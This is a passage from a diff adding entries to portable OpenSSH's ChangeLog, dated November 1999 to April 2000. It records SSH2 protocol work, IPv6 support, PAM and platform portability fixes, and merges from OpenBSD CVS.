kex.h sshconnect.c sshd.c] + check for reasonable public DH values + - [README.openssh2 cipher.c cipher.h compat.c compat.h readconf.c] + [readconf.h servconf.c servconf.h ssh.c ssh.h sshconnect.c sshd.c] + add Cipher and Protocol options to ssh/sshd, e.g.: + ssh -o 'Protocol 1,2' if you prefer proto 1, ssh -o 'Ciphers + arcfour,3des-cbc' + - [sshd.c] + print 1.99 only if server supports both + +20000408 + - Avoid some compiler warnings in fake-get*.c + - Add IPTOS macros for systems which lack them + - Only set define entropy collection macros if they are found + - More large OpenBSD CVS updates: + - [auth.c auth.h servconf.c servconf.h serverloop.c session.c] + [session.h ssh.h sshd.c README.openssh2] + ssh2 server side, see README.openssh2; enable with 'sshd -2' + - [channels.c] + no adjust after close + - [sshd.c compat.c ] + interop w/ latest ssh.com windows client. + +20000406 + - OpenBSD CVS update: + - [channels.c] + close efd on eof + - [clientloop.c compat.c ssh.c sshconnect.c myproposal.h] + ssh2 client implementation, interops w/ ssh.com and lsh servers. + - [sshconnect.c] + missing free. + - [authfile.c cipher.c cipher.h packet.c sshconnect.c sshd.c] + remove unused argument, split cipher_mask() + - [clientloop.c] + re-order: group ssh1 vs. ssh2 + - Make Redhat spec require openssl >= 0.9.5a + +20000404 + - Add tests for RAND_add function when searching for OpenSSL + - OpenBSD CVS update: + - [packet.h packet.c] + ssh2 packet format + - [packet.h packet.c nchan2.ms nchan.h compat.h compat.c] + [channels.h channels.c] + channel layer support for ssh2 + - [kex.h kex.c hmac.h hmac.c dsa.c dsa.h] + DSA, keyexchange, algorithm agreement for ssh2 + - Generate manpages before make install not at the end of make all + - Don't seed the rng quite so often + - Always reseed rng when requested + +20000403 + - Wrote entropy collection routines for systems that lack /dev/random + and EGD + - Disable tests and typedefs for 64 bit types. They are currently unused. + +20000401 + - Big OpenBSD CVS update (mainly beginnings of SSH2 infrastructure) + - [auth.c session.c sshd.c auth.h] + split sshd.c -> auth.c session.c sshd.c plus cleanup and goto-removal + - [bufaux.c bufaux.h] + support ssh2 bignums + - [channels.c channels.h clientloop.c sshd.c nchan.c nchan.h packet.c] + [readconf.c ssh.c ssh.h serverloop.c] + replace big switch() with function tables (prepare for ssh2) + - [ssh2.h] + ssh2 message type codes + - [sshd.8] + reorder Xr to avoid cutting + - [serverloop.c] + close(fdin) if fdin != fdout, shutdown otherwise, ok theo@ + - [channels.c] + missing close + allow bigger packets + - [cipher.c cipher.h] + support ssh2 ciphers + - [compress.c] + cleanup, less code + - [dispatch.c dispatch.h] + function tables for different message types + - [log-server.c] + do not log() if debuggin to stderr + rename a cpp symbol, to avoid param.h collision + - [mpaux.c] + KNF + - [nchan.c] + sync w/ channels.c + +20000326 + - Better tests for OpenSSL w/ RSAref + - Added replacement setenv() function from OpenBSD libc. Suggested by + Ben Lindstrom + - OpenBSD CVS update + - [auth-krb4.c] + -Wall + - [auth-rh-rsa.c auth-rsa.c hostfile.c hostfile.h key.c key.h match.c] + [match.h ssh.c ssh.h sshconnect.c sshd.c] + initial support for DSA keys. ok deraadt@, niels@ + - [cipher.c cipher.h] + remove unused cipher_attack_detected code + - [scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + Fix some formatting problems I missed before. + - [ssh.1 sshd.8] + fix spelling errors, From: FreeBSD + - [ssh.c] + switch to raw mode only if he _get_ a pty (not if we _want_ a pty). + +20000324 + - Released 1.2.3 + +20000317 + - Clarified --with-default-path option. + - Added -blibpath handling for AIX to work around stupid runtime linking. + Problem elucidated by gshapiro@SENDMAIL.ORG by way of Jim Knoble + + - Checks for 64 bit int types. Problem report from Mats Fredholm + + - OpenBSD CVS updates: + - [atomicio.c auth-krb4.c bufaux.c channels.c compress.c fingerprint.c] + [packet.h radix.c rsa.c scp.c ssh-agent.c ssh-keygen.c sshconnect.c] + [sshd.c] + pedantic: signed vs. unsigned, void*-arithm, etc + - [ssh.1 sshd.8] + Various cleanups and standardizations. + - Runtime error fix for HPUX from Otmar Stahl + + +20000316 + - Fixed configure not passing LDFLAGS to Solaris. Report from David G. + Hesprich + - Propogate LD through to Makefile + - Doc cleanups + - Added blurb about "scp: command not found" errors to UPGRADING + +20000315 + - Fix broken CFLAGS handling during search for OpenSSL. Fixes va_list + problems with gcc/Solaris. + - Don't free argument to putenv() after use (in setenv() replacement). + Report from Seigo Tanimura + - Created contrib/ subdirectory. Included helpers from Phil Hands' + Debian package, README file and chroot patch from Ricardo Cerqueira + + - Moved gnome-ssh-askpass.c to contrib directory and removed config + option. + - Slight cleanup to doc files + - Configure fix from Bratislav ILICH + +20000314 + - Include macro for IN6_IS_ADDR_V4MAPPED. Report from + peter@frontierflying.com + - Include /usr/local/include and /usr/local/lib for systems that don't + do it themselves + - -R/usr/local/lib for Solaris + - Fix RSAref detection + - Fix IN6_IS_ADDR_V4MAPPED macro + +20000311 + - Detect RSAref + - OpenBSD CVS change + [sshd.c] + - disallow guessing of root password + - More configure fixes + - IPv6 workarounds from Hideaki YOSHIFUJI + +20000309 + - OpenBSD CVS updates to v1.2.3 + [ssh.h atomicio.c] + - int atomicio -> ssize_t (for alpha). ok deraadt@ + [auth-rsa.c] + - delay MD5 computation until client sends response, free() early, cleanup. + [cipher.c] + - void* -> unsigned char*, ok niels@ + [hostfile.c] + - remove unused variable 'len'. fix comments. + - remove unused variable + [log-client.c log-server.c] + - rename a cpp symbol, to avoid param.h collision + [packet.c] + - missing xfree() + - getsockname() requires initialized tolen; andy@guildsoftware.com + - use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + [pty.c pty.h] + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + [readconf.c] + - turn off x11-fwd for the client, too. + [rsa.c] + - PKCS#1 padding + [scp.c] + - allow '.' in usernames; from jedgar@fxp.org + [servconf.c] + - typo: ignore_user_known_hosts int->flag; naddy@mips.rhein-neckar.de + - sync with sshd_config + [ssh-keygen.c] + - enable ssh-keygen -l -f ~/.ssh/known_hosts, ok deraadt@ + [ssh.1] + - Change invalid 'CHAT' loglevel to 'VERBOSE' + [ssh.c] + - suppress AAAA query host when '-4' is used; from shin@nd.net.fujitsu.co.jp + - turn off x11-fwd for the client, too. + [sshconnect.c] + - missing xfree() + - retry rresvport_af(), too. from sumikawa@ebina.hitachi.co.jp. + - read error vs. "Connection closed by remote host" + [sshd.8] + - ie. -> i.e., + - do not link to a commercial page.. + - sync with sshd_config + [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - log with level log() not fatal() if peer behaves badly. + - don't panic if client behaves strange. ok deraadt@ + - make no-port-forwarding for RSA keys deny both -L and -R style fwding + - delay close() of pty until the pty has been chowned back to root + - oops, fix comment, too. + - missing xfree() + - move XAUTHORITY to subdir. ok dugsong@. fixes debian bug #57907, too. + (http://cgi.debian.org/cgi-bin/bugreport.cgi?archive=no&bug=57907) + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + - create x11 cookie file + - fix pr 1113, fclose() -> pclose(), todo: remote popen() + - version 1.2.3 + - Cleaned up + - Removed warning workaround for Linux and devpts filesystems (no longer + required after OpenBSD updates) + +20000308 + - Configure fix from Hiroshi Takekawa + +20000307 + - Released 1.2.2p1 + +20000305 + - Fix DEC compile fix + - Explicitly seed OpenSSL's PRNG before checking rsa_alive() + - Check for getpagesize in libucb.a if not found in libc. Fix for old + Solaris from Andre Lucas + - Check for libwrap if --with-tcp-wrappers option specified. Suggestion + Mate Wierdl + +20000303 + - Added "make host-key" target, Suggestion from Dominik Brettnacher + + - Don't permanently fail on bind() if getaddrinfo has more choices left for + us. Needed to work around messy IPv6 on Linux. Patch from Arkadiusz + Miskiewicz + - DEC Unix compile fix from David Del Piero + - Manpage fix from David Del Piero + +20000302 + - Big cleanup of autoconf code + - Rearranged to be a little more logical + - Added -R option for Solaris + - Rewrote OpenSSL detection code. Now uses AC_TRY_RUN with a test program + to detect library and header location _and_ ensure library has proper + RSA support built in (this is a problem with OpenSSL 0.9.5). + - Applied pty cleanup patch from markus.friedl@informatik.uni-erlangen.de + - Avoid warning message with Unix98 ptys + - Warning was valid - possible race condition on PTYs. Avoided using + platform-specific code. + - Document some common problems + - Allow root access to any key. Patch from + markus.friedl@informatik.uni-erlangen.de + +20000207 + - Removed SOCKS code. Will support through a ProxyCommand. + +20000203 + - Fixed SEGVs in authloop, fix from vbzoli@hbrt.hu + - Add --with-ssl-dir option + +20000202 + - Fix lastlog code for directory based lastlogs. Fix from Josh Durham + + - Documentation fixes from HARUYAMA Seigo + - Added URLs to Japanese translations of documents by HARUYAMA Seigo + + +20000201 + - Use socket pairs by default (instead of pipes). Prevents race condition + on several (buggy) OSs. Report and fix from tridge@linuxcare.com + +20000127 + - Seed OpenSSL's random number generator before generating RSA keypairs + - Split random collector into seperate file + - Compile fix from Andre Lucas + +20000126 + - Released 1.2.2 stable + + - NeXT keeps it lastlog in /usr/adm. Report from + mouring@newton.pconline.com + - Added note in UPGRADING re interop with commercial SSH using idea. + Report from Jim Knoble + - Fix linking order for Kerberos/AFS. Fix from Holget Trapp + + +20000125 + - Fix NULL pointer dereference in login.c. Fix from Andre Lucas + + - Reorder PAM initialisation so it does not mess up lastlog. Reported + by Andre Lucas + - Use preformatted manpages on SCO, report from Gary E. Miller + + - New URL for x11-ssh-askpass. + - Fixpaths was missing /etc/ssh_known_hosts. Report from Jim Knoble + + - Added 'DESTDIR' option to Makefile to ease package building. Patch from + Jim Knoble + - Updated RPM spec files to use DESTDIR + +20000124 + - Pick up version 1.2.2 from OpenBSD CVS (no changes, just version number + increment) + +20000123 + - OpenBSD CVS: + - [packet.c] + getsockname() requires initialized tolen; andy@guildsoftware.com + - AIX patch from Matt Richards and David Rankin + + - Fix lastlog support, patch from Andre Lucas + +20000122 + - Fix compilation of bsd-snprintf.c on Solaris, fix from Ben Taylor + + - Merge preformatted manpage patch from Andre Lucas + + - Make IPv4 use the default in RPM packages + - Irix uses preformatted manpages + - Missing htons() in bsd-bindresvport.c, fix from Holger Trapp + + - OpenBSD CVS updates: + - [packet.c] + use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + - [sshd.c] + log with level log() not fatal() if peer behaves badly. + - [readpass.c] + instead of blocking SIGINT, catch it ourselves, so that we can clean + the tty modes up and kill ourselves -- instead of our process group + leader (scp, cvs, ...) going away and leaving us in noecho mode. + people with cbreak shells never even noticed.. + - [ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + ie. -> i.e., + +20000120 + - Don't use getaddrinfo on AIX + - Update to latest OpenBSD CVS: + - [auth-rsa.c] + - fix user/1056, sshd keeps restrictions; dbt@meat.net + - [sshconnect.c] + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - destroy keys earlier + - split key exchange (kex) and user authentication (user-auth), + ok: provos@ + - [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - split key exchange (kex) and user authentication (user-auth), + ok: provos@ + - Big manpage and config file cleanup from Andre Lucas + + - Re-added latest (unmodified) OpenBSD manpages + - Doc updates + - NetBSD patch from David Rankin and + Christos Zoulas + +20000119 + - SCO compile fixes from Gary E. Miller + - Compile fix from Darren_Hall@progressive.com + - Linux/glibc-2.1.2 takes a *long* time to look up names for AF_UNSPEC + addresses using getaddrinfo(). Added a configure switch to make the + default lookup mode AF_INET + +20000118 + - Fixed --with-pid-dir option + - Makefile fix from Gary E. Miller + - Compile fix for HPUX and Solaris from Andre Lucas + + +20000117 + - Clean up bsd-bindresvport.c. Use arc4random() for picking initial + port, ignore EINVAL errors (Linux) when searching for free port. + - Revert __snprintf -> snprintf aliasing. Apparently Solaris + __snprintf isn't. Report from Theo de Raadt + - Document location of Redhat PAM file in INSTALL. + - Fixed X11 forwarding bug on Linux. libc advertises AF_INET6 + INADDR_ANY_INIT addresses via getaddrinfo, but may not be able to + deliver (no IPv6 kernel support) + - Released 1.2.1pre27 + + - Fix rresvport_af failure errors (logic error in bsd-bindresvport.c) + - Fix --with-ipaddr-display option test. Fix from Jarno Huuskonen + + - Fix hang on logout if processes are still using the pty. Needs + further testing. + - Patch from Christos Zoulas + - Try $prefix first when looking for OpenSSL. + - Include sys/types.h when including sys/socket.h in test programs + - Substitute PID directory in sshd.8. Suggestion from Andrew + Stribblehill + +20000116 + - Renamed --with-xauth-path to --with-xauth + - Added --with-pid-dir option + - Released 1.2.1pre26 + + - Compilation fix from Kiyokazu SUTO + - Fixed broken bugfix for /dev/ptmx on Linux systems which lack + openpty(). Report from Kiyokazu SUTO + +20000115 + - Add --with-xauth-path configure directive and explicit test for + /usr/openwin/bin/xauth for Solaris systems. Report from Anders + Nordby + - Fix incorrect detection of /dev/ptmx on Linux systems that lack + openpty. Report from John Seifarth + - Look for intXX_t and u_intXX_t in sys/bitypes.h if they are not in + sys/types.h. Fixes problems on SCO, report from Gary E. Miller + + - Use __snprintf and __vnsprintf if they are found where snprintf and + vnsprintf are lacking. Suggested by Ben Taylor + and others. + +20000114 + - Merged OpenBSD IPv6 patch: + - [sshd.c sshd.8 sshconnect.c ssh.h ssh.c servconf.h servconf.c scp.1] + [scp.c packet.h packet.c login.c log.c canohost.c channels.c] + [hostfile.c sshd_config] + ipv6 support: mostly gethostbyname->getaddrinfo/getnameinfo, new + features: sshd allows multiple ListenAddress and Port options. note + that libwrap is not IPv6-ready. (based on patches from + fujiwara@rcac.tdi.co.jp) + - [ssh.c canohost.c] + more hints (hints.ai_socktype=SOCK_STREAM) for getaddrinfo, + from itojun@ + - [channels.c] + listen on _all_ interfaces for X11-Fwd (hints.ai_flags = AI_PASSIVE) + - [packet.h] + allow auth-kerberos for IPv4 only + - [scp.1 sshd.8 servconf.h scp.c] + document -4, -6, and 'ssh -L 2022/::1/22' + - [ssh.c] + 'ssh @host' is illegal (null user name), from + karsten@gedankenpolizei.de + - [sshconnect.c] + better error message + - [sshd.c] + allow auth-kerberos for IPv4 only + - Big IPv6 merge: + - Cleanup overrun in sockaddr copying on RHL 6.1 + - Replacements for getaddrinfo, getnameinfo, etc based on versions + from patch from KIKUCHI Takahiro + - Replacement for missing structures on systems that lack IPv6 + - record_login needed to know about AF_INET6 addresses + - Borrowed more code from OpenBSD: rresvport_af and requisites + +20000110 + - Fixes to auth-skey to enable it to use the standard OpenSSL libraries + +20000107 + - New config.sub and config.guess to fix problems on SCO. Supplied + by Gary E. Miller + - SCO build fix from Gary E. Miller + - Released 1.2.1pre25 + +20000106 + - Documentation update & cleanup + - Better KrbIV / AFS detection, based on patch from: + Holger Trapp + +20000105 + - Fixed annoying DES corruption problem. libcrypt has been + overriding symbols in libcrypto. Removed libcrypt and crypt.h + altogether (libcrypto includes its own crypt(1) replacement) + - Added platform-specific rules for Irix 6.x. Included warning that + they are untested. + +20000103 + - Add explicit make rules for files proccessed by fixpaths. + - Fix "make install" in RPM spec files. Report from Tenkou N. Hattori + + - Removed "nullok" directive from default PAM configuration files. + Added information on enabling EmptyPasswords on openssh+PAM in + UPGRADING file. + - OpenBSD CVS updates + - [ssh-agent.c] + cleanup_exit() for SIGTERM/SIGHUP, too. from fgsch@ and + dgaudet@arctic.org + - [sshconnect.c] + compare correct version for 1.3 compat mode + +20000102 + - Prevent multiple inclusion of config.h and defines.h. Suggested + by Andre Lucas + - Properly clean up on exit of ssh-agent. Patch from Dean Gaudet + + +19991231 + - Fix password support on systems with a mixture of shadowed and + non-shadowed passwords (e.g. NIS). Report and fix from + HARUYAMA Seigo + - Fix broken autoconf typedef detection. Report from Marc G. + Fournier + - Fix occasional crash on LinuxPPC. Patch from Franz Sirl + + - Prevent typedefs from being compiled more than once. Report from + Marc G. Fournier + - Fill in ut_utaddr utmp field. Report from Benjamin Charron + + - Really fix broken default path. Fix from Jim Knoble + + - Remove test for quad_t. No longer needed. + - Released 1.2.1pre24 + + - Added support for directory-based lastlogs + - Really fix typedefs, patch from Ben Taylor + +19991230 + - OpenBSD CVS updates: + - [auth-passwd.c] + check for NULL 1st + - Removed most of the pam code into its own file auth-pam.[ch]. This + cleaned up sshd.c up significantly. + - PAM authentication was incorrectly interpreting + "PermitRootLogin without-password". Report from Matthias Andree + + - Updated documentation with ./configure options + - Released 1.2.1pre23 + +19991229 + - Applied another NetBSD portability patch from David Rankin + + - Fix --with-default-path option. + - Autodetect perl, patch from David Rankin + + - Print whether OpenSSH was compiled with RSARef, patch from + Nalin Dahyabhai + - Calls to pam_setcred, patch from Nalin Dahyabhai + + - Detect missing size_t and typedef it. + - Rename helper.[ch] to (more appropriate) bsd-misc.[ch] + - Minor Makefile cleaning + +19991228 + - Replacement for getpagesize() for systems which lack it + - NetBSD login.c compile fix from David Rankin + + - Fully set ut_tv if present in utmp or utmpx + - Portability fixes for Irix 5.3 (now compiles OK!) + - autoconf and other misc cleanups + - Merged AIX patch from Darren Hall + - Cleaned up defines.h + - Released 1.2.1pre22 + +19991227 + - Automatically correct paths in manpages and configuration files. Patch + and script from Andre Lucas + - Removed credits from README to CREDITS file, updated. + - Added --with-default-path to specify custom path for server + - Removed #ifdef trickery from acconfig.h into defines.h + - PAM bugfix. PermitEmptyPassword was being ignored. + - Fixed PAM config files to allow empty passwords if server does. + - Explained spurious PAM auth warning workaround in UPGRADING + - Use last few chars of tty line as ut_id + - New SuSE RPM spec file from Chris Saia + - OpenBSD CVS updates: + - [packet.h auth-rhosts.c] + check format string for packet_disconnect and packet_send_debug, too + - [channels.c] + use packet_get_maxsize for channels. consistence. + +19991226 + - Enabled utmpx support by default for Solaris + - Cleanup sshd.c PAM a little more + - Revised RPM package to include Jim Knoble's + X11 ssh-askpass program. + - Disable logging of PAM success and failures, PAM is verbose enough. + Unfortunatly there is currently no way to disable auth failure + messages. Mention this in UPGRADING file and sent message to PAM + developers + - OpenBSD CVS update: + - [ssh-keygen.1 ssh.1] + remove ref to .ssh/random_seed, mention .ssh/environment in + .Sh FILES, too + - Released 1.2.1pre21 + - Fixed implicit '.' in default path, report from Jim Knoble + + - Redhat RPM spec fixes from Jim Knoble + +19991225 + - More fixes from Andre Lucas + - Cleanup of auth-passwd.c for shadow and MD5 passwords + - Cleanup and bugfix of PAM authentication code + - Released 1.2.1pre20 + + - Merged fixes from Ben Taylor + - Fixed configure support for PAM. Reported by Naz <96na@eng.cam.ac.uk> + - Disabled logging of PAM password authentication failures when password + is empty. (e.g start of authentication loop). Reported by Naz + <96na@eng.cam.ac.uk>) + +19991223 + - Merged later HPUX patch from Andre Lucas + + - Above patch included better utmpx support from Ben Taylor + + +19991222 + - Fix undefined fd_set type in ssh.h from Povl H. Pedersen + + - Fix login.c breakage on systems which lack ut_host in struct + utmp. Reported by Willard Dawson + +19991221 + - Integration of large HPUX patch from Andre Lucas + . Integrating it had a few other + benefits: + - Ability to disable shadow passwords at configure time + - Ability to disable lastlog support at configure time + - Support for IP address in $DISPLAY + - OpenBSD CVS update: + - [sshconnect.c] + say "REMOTE HOST IDENTIFICATION HAS CHANGED" + - Fix DISABLE_SHADOW support + - Allow MD5 passwords even if shadow passwords are disabled + - Release 1.2.1pre19 + +19991218 + - Redhat init script patch from Chun-Chung Chen + + - Avoid breakage on systems without IPv6 headers + +19991216 + - Makefile changes for Solaris from Peter Kocks + + - Minor updates to docs + - Merged OpenBSD CVS changes: + - [authfd.c ssh-agent.c] + keysize warnings talk about identity files + - [packet.c] + "Connection closed by x.x.x.x": fatal() -> log() + - Correctly handle empty passwords in shadow file. Patch from: + "Chris, the Young One" + - Released 1.2.1pre18 + +19991215 + - Integrated patchs from Juergen Keil + - Avoid void* pointer arithmatic + - Use LDFLAGS correctly + - Fix SIGIO error in scp + - Simplify status line printing in scp + - Added better test for inline functions compiler support from + Darren_Hall@progressive.com + +19991214 + - OpenBSD CVS Changes + - [canohost.c] + fix get_remote_port() and friends for sshd -i; + Holger.Trapp@Informatik.TU-Chemnitz.DE + - [mpaux.c] + make code simpler. no need for memcpy. niels@ ok + - [pty.c] + namebuflen not sizeof namebuflen; bnd@ep-ag.com via djm@mindrot.org + fix proto; markus + - [ssh.1] + typo; mark.baushke@solipsa.com + - [channels.c ssh.c ssh.h sshd.c] + type conflict for 'extern Type *options' in channels.c; dot@dotat.at + - [sshconnect.c] + move checking of hostkey into own function. + - [version.h] + OpenSSH-1.2.1 + - Clean up broken includes in pty.c + - Some older systems don't have poll.h, they use sys/poll.h instead + - Doc updates + +19991211 + - Fix compilation on systems with AFS. Reported by + aloomis@glue.umd.edu + - Fix installation on Solaris. Reported by + Gordon Rowell + - Fix gccisms (__attribute__ and inline). Report by edgy@us.ibm.com, + patch from Markus Friedl + - Auto-locate xauth. Patch from David Agraz + - Compile fix from David Agraz + - Avoid compiler warning in bsd-snprintf.c + - Added pam_limits.so to default PAM config. Suggested by + Jim Knoble + +19991209 + - Import of patch from Ben Taylor : + - Improved PAM support + - "uninstall" rule for Makefile + - utmpx support + - Should fix PAM problems on Solaris + - OpenBSD CVS updates: + - [readpass.c] + avoid stdio; based on work by markus, millert, and I + - [sshd.c] + make sure the client selects a supported cipher + - [sshd.c] + fix sighup handling. accept would just restart and daemon handled + sighup only after the next connection was accepted. use poll on + listen sock now. + - [sshd.c] + make that a fatal + - Applied patch from David Rankin + to fix libwrap support on NetBSD + - Released 1.2pre17 + +19991208 + - Compile fix for Solaris with /dev/ptmx from + David Agraz + +19991207 + - sshd Redhat init script patch from Jim Knoble + fixes compatability with 4.x and 5.x + - Fixed default SSH_ASKPASS + - Fix PAM account and session being called multiple times. Problem + reported by Adrian Baugh + - Merged more OpenBSD changes: + - [atomicio.c authfd.c scp.c serverloop.c ssh.h sshconnect.c sshd.c] + move atomicio into it's own file. wrap all socket write()s which + were doing write(sock, buf, len) != len, with atomicio() calls. + - [auth-skey.c] + fd leak + - [authfile.c] + properly name fd variable + - [channels.c] + display great hatred towards strcpy + - [pty.c pty.h sshd.c] + use openpty() if it exists (it does on BSD4_4) + - [tildexpand.c] + check for ~ expansion past MAXPATHLEN + - Modified helper.c to use new atomicio function. + - Reformat Makefile a little + - Moved RC4 routines from rc4.[ch] into helper.c + - Added autoconf code to detect /dev/ptmx (Solaris) and /dev/ptc (AIX) + - Updated SuSE spec from Chris Saia + - Tweaked Redhat spec + - Clean up bad imports of a few files (forgot -kb) + - Released 1.2pre16 + +19991204 + - Small cleanup of PAM code in sshd.c + - Merged OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c auth-skey.c ssh.h] + move skey-auth from auth-passwd.c to auth-skey.c, same for krb4 + - [auth-rsa.c] + warn only about mismatch if key is _used_ + warn about keysize-mismatch with log() not error() + channels.c readconf.c readconf.h ssh.c ssh.h sshconnect.c + ports are u_short + - [hostfile.c] + indent, shorter warning + - [nchan.c] + use error() for internal errors + - [packet.c] + set loglevel for SSH_MSG_DISCONNECT to log(), not fatal() + serverloop.c + indent + - [ssh-add.1 ssh-add.c ssh.h] + document $SSH_ASKPASS, reasonable default + - [ssh.1] + CheckHostIP is not available for connects via proxy command + - [sshconnect.c] + typo + easier to read client code for passwd and skey auth + turn of checkhostip for proxy connects, since we don't know the remote ip + +19991126 + - Add definition for __P() + - Added [v]snprintf() replacement for systems that lack it + +19991125 + - More reformatting merged from OpenBSD CVS + - Merged OpenBSD CVS changes: + - [channels.c] + fix packet_integrity_check() for !have_hostname_in_open. + report from mrwizard@psu.edu via djm@ibs.com.au + - [channels.c] + set SO_REUSEADDR and SO_LINGER for forwarded ports. + chip@valinux.com via damien@ibs.com.au + - [nchan.c] + it's not an error() if shutdown_write failes in nchan. + - [readconf.c] + remove dead #ifdef-0-code + - [readconf.c servconf.c] + strcasecmp instead of tolower + - [scp.c] + progress meter overflow fix from damien@ibs.com.au + - [ssh-add.1 ssh-add.c] + SSH_ASKPASS support + - [ssh.1 ssh.c] + postpone fork_after_authentication until command execution, + request/patch from jahakala@cc.jyu.fi via damien@ibs.com.au + plus: use daemon() for backgrounding + - Added BSD compatible install program and autoconf test, thanks to + Niels Kristian Bech Jensen + - Solaris fixing, thanks to Ben Taylor + - Merged beginnings of AIX support from Tor-Ake Fransson + - Release 1.2pre15 + +19991124 + - Merged very large OpenBSD source code reformat + - OpenBSD CVS updates + - [channels.c cipher.c compat.c log-client.c scp.c serverloop.c] + [ssh.h sshd.8 sshd.c] + syslog changes: + * Unified Logmessage for all auth-types, for success and for failed + * Standard connections get only ONE line in the LOG when level==LOG: + Auth-attempts are logged only, if authentication is: + a) successfull or + b) with passwd or + c) we had more than AUTH_FAIL_LOG failues + * many log() became verbose() + * old behaviour with level=VERBOSE + - [readconf.c readconf.h ssh.1 ssh.h sshconnect.c sshd.c] + tranfer s/key challenge/response data in SSH_SMSG_AUTH_TIS_CHALLENGE + messages. allows use of s/key in windows (ttssh, securecrt) and + ssh-1.2.27 clients without 'ssh -v', ok: niels@ + - [sshd.8] + -V, for fallback to openssh in SSH2 compatibility mode + - [sshd.c] + fix sigchld race; cjc5@po.cwru.edu + +19991123 + - Added SuSE package files from Chris Saia + - Restructured package-related files under packages/* + - Added generic PAM config + - Numerous little Solaris fixes + - Add recommendation to use GNU make to INSTALL document + +19991122 + - Make close gnome-ssh-askpass (Debian bug #50299) + - OpenBSD CVS Changes + - [ssh-keygen.c] + don't create ~/.ssh only if the user wants to store the private + key there. show fingerprint instead of public-key after + keygeneration. ok niels@ + - Added OpenBSD bsd-strlcat.c, created bsd-strlcat.h + - Added timersub() macro + - Tidy RCSIDs of bsd-*.c + - Added autoconf test and macro to deal with old PAM libraries + pam_strerror definition (one arg vs two). + - Fix EGD problems (Thanks to Ben Taylor ) + - Retry /dev/urandom reads interrupted by signal (report from + Robert Hardy ) + - Added a setenv replacement for systems which lack it + - Only display public key comment when presenting ssh-askpass dialog + - Released 1.2pre14 + + - Configure, Make and changelog corrections from Tudor Bosman + and Niels Kristian Bech Jensen + +19991121 + - OpenBSD CVS Changes: + - [channels.c] + make this compile, bad markus + - [log.c readconf.c servconf.c ssh.h] + bugfix: loglevels are per host in clientconfig, + factor out common log-level parsing code. + - [servconf.c] + remove unused index (-Wall) + - [ssh-agent.c] + only one 'extern char *__progname' + - [sshd.8] + document SIGHUP, -Q to synopsis + - [sshconnect.c serverloop.c sshd.c packet.c packet.h] + [channels.c clientloop.c] + SSH_CMSG_MAX_PACKET_SIZE, some clients use this, some need this, niels@ + [hope this time my ISP stays alive during commit] + - [OVERVIEW README] typos; green@freebsd + - [ssh-keygen.c] + replace xstrdup+strcat with strlcat+fixed buffer, fixes OF (bad me) + exit if writing the key fails (no infinit loop) + print usage() everytime we get bad options + - [ssh-keygen.c] overflow, djm@mindrot.org + - [sshd.c] fix sigchld race; cjc5@po.cwru.edu + +19991120 + - Merged more Solaris support from Marc G. Fournier + + - Wrote autoconf tests for integer bit-types + - Fixed enabling kerberos support + - Fix segfault in ssh-keygen caused by buffer overrun in filename + handling. + +19991119 + - Merged PAM buffer overrun patch from Chip Salzenberg + - Merged OpenBSD CVS changes + - [auth-rhosts.c auth-rsa.c ssh-agent.c sshconnect.c sshd.c] + more %d vs. %s in fmt-strings + - [authfd.c] + Integers should not be printed with %s + - EGD uses a socket, not a named pipe. Duh. + - Fix includes in fingerprint.c + - Fix scp progress bar bug again. + - Move ssh-askpass from ${libdir}/ssh to ${libexecdir}/ssh at request of + David Rankin + - Added autoconf option to enable Kerberos 4 support (untested) + - Added autoconf option to enable AFS support (untested) + - Added autoconf option to enable S/Key support (untested) + - Added autoconf option to enable TCP wrappers support (compiles OK) + - Renamed BSD helper function files to bsd-* + - Added tests for login and daemon and enable OpenBSD replacements for + when they are absent. + - Added non-PAM MD5 password support patch from Tudor Bosman + +19991118 + - Merged OpenBSD CVS changes + - [scp.c] foregroundproc() in scp + - [sshconnect.h] include fingerprint.h + - [sshd.c] bugfix: the log() for passwd-auth escaped during logging + changes. + - [ssh.1] Spell my name right. + - Added openssh.com info to README + +19991117 + - Merged OpenBSD CVS changes + - [ChangeLog.Ylonen] noone needs this anymore + - [authfd.c] close-on-exec for auth-socket, ok deraadt + - [hostfile.c] + in known_hosts key lookup the entry for the bits does not need + to match, all the information is contained in n and e. This + solves the problem with buggy servers announcing the wrong + modulus length. markus and me. + - [serverloop.c] + bugfix: check for space if child has terminated, from: + iedowse@maths.tcd.ie + - [ssh-add.1 ssh-add.c ssh-keygen.1 ssh-keygen.c sshconnect.c] + [fingerprint.c fingerprint.h] + rsa key fingerprints, idea from Bjoern Groenvall + - [ssh-agent.1] typo + - [ssh.1] add OpenSSH information to AUTHOR section. okay markus@ + - [sshd.c] + force logging to stderr while loading private key file + (lost while converting to new log-levels) + +19991116 + - Fix some Linux libc5 problems reported by Miles Wilson + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c auth-rsa.c authfd.c authfd.h hostfile.c mpaux.c] + [mpaux.h ssh-add.c ssh-agent.c ssh.h ssh.c sshd.c] + the keysize of rsa-parameter 'n' is passed implizit, + a few more checks and warnings about 'pretended' keysizes. + - [cipher.c cipher.h packet.c packet.h sshd.c] + remove support for cipher RC4 + - [ssh.c] + a note for legay systems about secuity issues with permanently_set_uid(), + the private hostkey and ptrace() + - [sshconnect.c] + more detailed messages about adding and checking hostkeys + +19991115 + - Merged OpenBSD CVS changes: + - [ssh-add.c] change passphrase loop logic and remove ref to + $DISPLAY, ok niels + - Changed to ssh-add.c broke askpass support. Revised it to be a little more + modular. + - Revised autoconf support for enabling/disabling askpass support. + - Merged more OpenBSD CVS changes: + [auth-krb4.c] + - disconnect if getpeername() fails + - missing xfree(*client) + [canohost.c] + - disconnect if getpeername() fails + - fix comment: we _do_ disconnect if ip-options are set + [sshd.c] + - disconnect if getpeername() fails + - move checking of remote port to central place + 